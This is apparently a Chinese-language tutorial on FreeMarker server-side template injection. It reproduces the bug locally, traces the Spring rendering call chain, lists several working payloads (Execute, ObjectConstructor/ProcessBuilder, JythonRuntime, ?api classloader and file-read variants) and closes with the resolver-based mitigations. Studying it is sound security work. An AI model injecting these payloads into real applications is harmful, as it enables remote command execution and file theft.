FreeMarker 模板注入
什么是freemarker?
FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。
这种方式通常被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。
其实FreeMarker的原理就是:模板+数据模型=输出
FreeMarker SSTI 成因与攻击面
我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。
将 HTML 语句放到服务器上有两种方法:
1、文件上传 HTML 文件。
2、若某 CMS 自带有模板编辑功能,这种情况非常多。
FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面。
环境搭建
漏洞复现(本地文件:D:\freemaker_ssti)
payload如下:
1 | <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} |
new()
是一个内建的函数,用于创建一个对象的实例。它接受一个类名作为参数,并返回该类的一个新实例。
${...}
是FreeMarker模板中的变量插值语法,它会将表达式的结果作为字符串插入到模板中。
访问hello路由,成功弹出计算器
构造这个payload的原因我们可以去看一下Excute这个类
可以看到有个唯一的方法exec,可以对我们传入的参数进行执行操作
漏洞分析
我们在exec方法下面打上一个断点
根据调用栈进行分析,前面是一些spring的调用,相关的filter链和servelet调用,下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView
,开始调试
viewname是我们想要访问的路由,由于不满足下方的两个条件,调用父类的createView方法
跟进
调用了loadView方法
继续调用buildView方法
调用父类的buildView方法
该方法的作用为获取FreeMarkerView类,然后利用instantiateClass方法对其进行初始化,紧接着设置相应的模板文件名称属性,并将其加入到map中,随后返回该View类,回到loadView方法,调用了checkResource方法
首先获取了url,也就是我们的模板文件名,接着调用了getTemplate方法,跟进
后续会调用到Configuration类的getTemplate方法
我们跟进到cache.getTemplate方法
首先进行了一些参数的检查,templateNameFormat.normalizeRootBasedName获取文件的相对路径,跟进getTemplateInternal方法
前面是一些基本属性的判断,步入到lookupTemplate方法
接下来的代码IDEA跟不进去,就是获取到View的完整实例
然后从spring的doDispatch处开始分析
会调用到processDispatchResult方法进行模板解析
调用render方法
调用了AbstractView类的render方法
经过一些繁琐的判断,后面会来到doRender下的processTemplate方法
跟进这个getTemplate方法
后面就是我们开始分析的如何获取到View实例的过程,返回processTemplate方法
template即为我们模板文件的内容,调用其process方法
跟进这个environ的process方法
继续跟进这个visit方法
首先将这个element也就是模板文件内容压入一个堆栈,而后按${}对内容进行分割
当循环到第6个属性,也就是Excute类的时候,递归调用visit方法,往后面走,很容易找到这一步
对相关类进行实例化
回到visit,看看calc是如何被传入的
依旧是递归调用,跟进accept方法
跟进这个calculateInterpolatedStringOrMarkup方法,进过一系列调用,回来到这里
调用到targetMethod的exec方法,也就是Excute类的exec方法,并传入了calc参数,成功命令执行
其他poc的探索
我们当前的poc如下:
1 | <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} |
这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— new
和 api
内置函数 new
可创建任意实现了 TemplateModel
接口的 Java 对象,同时还可以触发没有实现 TemplateModel
接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel
接口的 freemarker.template.utility.JythonRuntime
和freemarker.template.utility.Execute
API
value?api
提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod()
或 value?api.someBeanProperty
。可通过 getClassLoader
获取类加载器从而加载恶意类,或者也可以通过 getResource
来实现任意文件读取。 但是,当api_builtin_enabled
为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。
由此我们可以构造出一系列的 bypass PoC
POC1
1 | <#assign classLoader=object?api.class.protectionDomain.classLoader> |
POC2
1 | <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()} |
POC3
1 | <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc") |
POC4
1 | <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") } |
读取文件
1 | <#assign is=object?api.class.getResourceAsStream("/Test.class")> |
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)
获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver
方法设置TemplateClassResolver
,从而限制通过new()
函数对freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类的解析。
FreeMarker SSTI 修复
1 | package freemarker; |